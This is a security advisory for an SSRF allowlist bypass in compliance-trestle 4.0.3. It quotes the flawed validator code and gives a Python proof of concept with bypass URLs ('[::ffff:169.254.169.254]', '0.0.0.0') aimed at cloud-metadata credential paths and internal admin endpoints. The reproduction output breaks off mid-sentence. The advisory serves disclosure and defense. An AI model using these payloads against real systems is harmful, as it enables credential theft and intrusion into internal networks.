Résumé
compliance-trestle has an URLSecurityValidator SSRF allowlist bypass via IPv4-mapped IPv6 and 0.0.0.0
Détails de l’avis
Summary
compliance-trestle 4.0.3 (latest) ships an URLSecurityValidator in trestle/core/remote/security.py to block SSRF to loopback / link-local / cloud-metadata endpoints from the HTTPSFetcher and SFTPFetcher remote-fetch paths. The allowlist is incomplete and can be bypassed by four equivalent address representations that resolve to the same blocked host but evade the validator's checks:
- IPv4-mapped IPv6 literals (
[::ffff:169.254.169.254],[::ffff:127.0.0.1],[::ffff:10.0.0.1]) are returned bysocket.getaddrinfoasIPv6Addressobjects;IPv6Address in IPv4Network('169.254.0.0/16')returnsFalse, so the_check_blocked_networksand_check_private_networkspredicates do not match. - IPv4 unspecified address
0.0.0.0is not inALWAYS_BLOCKED_NETWORKS(which covers127.0.0.0/8but not0.0.0.0/8); on Linux + Docker,0.0.0.0routes to local services on any interface, and on dual-stack-mapped sockets it also reaches loopback listeners.
A malicious OSCAL profile referencing one of these URLs in imports[*].href or back-matter.resources[*].rlinks[*].href causes HTTPSFetcher.__init__ and _do_fetch (which both invoke validator.validate_url) to pass the URL through to requests.get, contacting cloud-metadata services, loopback admin interfaces, or RFC 1918 internal networks (with TRESTLE_BLOCK_PRIVATE_IPS=true set) that the validator was specifically designed to block.
Affected versions
compliance-trestle (PyPI) versions <= 4.0.3 are affected. 4.0.3 (released 2026-05-20) is the latest release and the one that introduced URLSecurityValidator; prior releases had no SSRF guard at all.
Privilege required
Network-position attacker who can supply or influence an OSCAL artifact (profile / catalog / SSP / component-definition) that compliance-trestle subsequently fetches via HTTPSFetcher or SFTPFetcher. The most realistic vector is a malicious OSCAL profile whose imports[*].href references one of the bypass URLs; the artifact then flows through trestle href add / trestle import / trestle assemble / trestle author / any workflow that resolves the profile's imports.
Root cause
trestle/core/remote/security.py (4.0.3, lines 56-71 + 156-167):
ALWAYS_BLOCKED_NETWORKS = [
ipaddress.ip_network('127.0.0.0/8'), # IPv4 loopback only
ipaddress.ip_network('::1/128'), # IPv6 loopback (single address)
ipaddress.ip_network('169.254.0.0/16'), # IPv4 link-local only
ipaddress.ip_network('fe80::/10'), # IPv6 link-local
]
METADATA_HOSTNAMES = {
'169.254.169.254', # IPv4 literal only
'metadata.google.internal',
'metadata.azure.com',
'100.100.100.200',
}
def _check_blocked_networks(self, ip_addr, hostname):
for network in ALWAYS_BLOCKED_NETWORKS:
if ip_addr in network: # IPv6Address in IPv4Network -> False
raise TrestleError(...)
Four independent gaps:
No IPv4-mapped IPv6 normalization.
socket.getaddrinfo('::ffff:169.254.169.254', None)returns anIPv6Address. Python'sipaddressmodule raisesTypeErrorif mixed types are compared, and theinoperator suppresses that toFalse. The validator never calls.ipv4_mappedto canonicalize before the membership check, so any always-blocked IPv4 range is bypassable via the[::ffff:N.N.N.N]literal.METADATA_HOSTNAMESis an exact-string set. The hostname forhttps://[::ffff:169.254.169.254]/is::ffff:169.254.169.254, which is not in the set.0.0.0.0is not blocked.0.0.0.0is not in any of the fourALWAYS_BLOCKED_NETWORKSranges. On Linux and inside containers, connecting to0.0.0.0routes to local services on any interface (a common SSRF technique against Docker / orchestrator agents on0.0.0.0:PORT).DNS rebinding ribbon is only one IP deep.
_resolve_hostnamerecords the firstgetaddrinforesult set, but a hostname with mixed records can still serve a private IP on the second resolutionvalidator.validate_url(self._url)performs in_do_fetch. The IPv4-mapped-IPv6 bypass already eliminates the need for rebinding.
Sibling code paths sharing the same defect: SFTPFetcher.__init__ (lines 359-365 of cache.py) wires the identical URLSecurityValidator and inherits all four gaps.
Reproduction (E2E against pip install compliance-trestle==4.0.3 + local IMDS simulator)
# 1. Setup
mkdir -p /tmp/poc-trestle && cd /tmp/poc-trestle
python3.12 -m venv venv # any supported runtime (requires-python >= 3.10); 3.12.13 chosen because >= 3.12.4 it carries CPython CVE-2024-4032's is_global fix, proving this bypass is is_global-INDEPENDENT
./venv/bin/pip install --quiet compliance-trestle==4.0.3
./venv/bin/pip show compliance-trestle | head -2
# Name: compliance-trestle
# Version: 4.0.3
# 2. Driver
cat > e2e_full.py <<'PY'
import http.server, http.client, socket, socketserver, threading, time, os
from urllib.parse import urlparse
from trestle.core.remote.security import URLSecurityValidator, get_block_private_ips_config
from trestle.common.err import TrestleError
class IMDS(http.server.BaseHTTPRequestHandler):
def do_GET(self):
body = b'{"Code":"Success","AccessKeyId":"AKIA_PWNED_VIA_TRESTLE_SSRF","SecretAccessKey":"REDACTED","Token":"FAKE_IMDS_RESPONSE"}'
self.send_response(200); self.send_header("Content-Length", str(len(body))); self.end_headers(); self.wfile.write(body)
def log_message(self, *a, **kw): pass
class DualStack(socketserver.ThreadingMixIn, http.server.HTTPServer):
address_family = socket.AF_INET6
def server_bind(self):
try: self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
except (AttributeError, OSError): pass
super().server_bind()
PORT = 18560
srv = DualStack(("::", PORT), IMDS)
threading.Thread(target=srv.serve_forever, daemon=True).start()
time.sleep(0.2)
validator = URLSecurityValidator(block_private_ips=True)
def attempt(label, url, expect_block):
try:
validator.validate_url(url); verdict, blocked = "VALIDATION PASSED", False
except TrestleError as e:
verdict, blocked = f"BLOCKED: {str(e)[:80]}", True
meta = "(expected)" if blocked == expect_block else "(*** UNEXPECTED ***)"
print(f"\n[{label}]\n URL: {url}\n Validator: {verdict} {meta}")
if not blocked:
try:
p = urlparse(url); c = http.client.HTTPConnection(p.hostname, p.port or 443, timeout=3)
c.request("GET", p.path or "/"); r = c.getresponse(); print(f" Connectivity: HTTP {r.status}, body[:60]={r.read()[:60]!r}"); c.close()
except Exception as e:
print(f" Connectivity: {type(e).__name__}: {str(e)[:80]}")
# Negative controls (validator must block)
attempt("NEG-1: literal 169.254.169.254", f"https://169.254.169.254:{PORT}/latest/meta-data/", True)
attempt("NEG-2: literal 127.0.0.1", f"https://127.0.0.1:{PORT}/admin", True)
attempt("NEG-3: metadata.google.internal", f"https://metadata.google.internal:{PORT}/", True)
attempt("NEG-4: literal 10.0.0.1 RFC1918", f"https://10.0.0.1:{PORT}/admin", True)
# Bypasses (validator should block, but does not)
attempt("BYPASS-1: IPv4-mapped IPv6 cloud-metadata", f"https://[::ffff:169.254.169.254]:{PORT}/latest/meta-data/iam/security-credentials/admin", True)
attempt("BYPASS-2: 0.0.0.0 reaches localhost", f"https://0.0.0.0:{PORT}/admin", True)
attempt("BYPASS-3: IPv4-mapped IPv6 loopback", f"https://[::ffff:127.0.0.1]:{PORT}/admin", True)
attempt("BYPASS-4: IPv4-mapped IPv6 RFC 1918", f"https://[::ffff:10.0.0.1]:{PORT}/admin", True)
srv.shutdown()
PY
# 3. Run
./venv/bin/python e2e_full.py
Observed output on a supported runtime, Python 3.12.13 / macOS Darwin 25.3.0 (verbatim). Note 3.12.13 is >= 3.12.4, so CPython CVE-2024-4032's is_global/is_private reclassification IS active here; the bypass nevertheless works because this validator uses IPv6Address in IPv4Network(...) membership (which silentl
Références
Vulnérabilités liées
Tout Supply chain →- MEDIUMCVE-2026-53944
Ghost: Private IP filtering bypass to make server-side requests to internal services
- CRITICALCVE-2026-75856
CodeWhale: SSRF bypass - TOCTOU on DNS failure for DNS pinning
- CRITICALCVE-2026-71428
unstructured: Server-Side Request Forgery in the URL-based partitioning
- MEDIUMCVE-2026-68921
DiceBear: SVG injection via the unescaped rotate option in @dicebear/core (and fontSize/fontWeight in @dicebear/initials)
- HIGHCVE-2026-62676
Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py
- HIGHCVE-2026-65842
Plate: SSRF with response disclosure in DOCX image embedding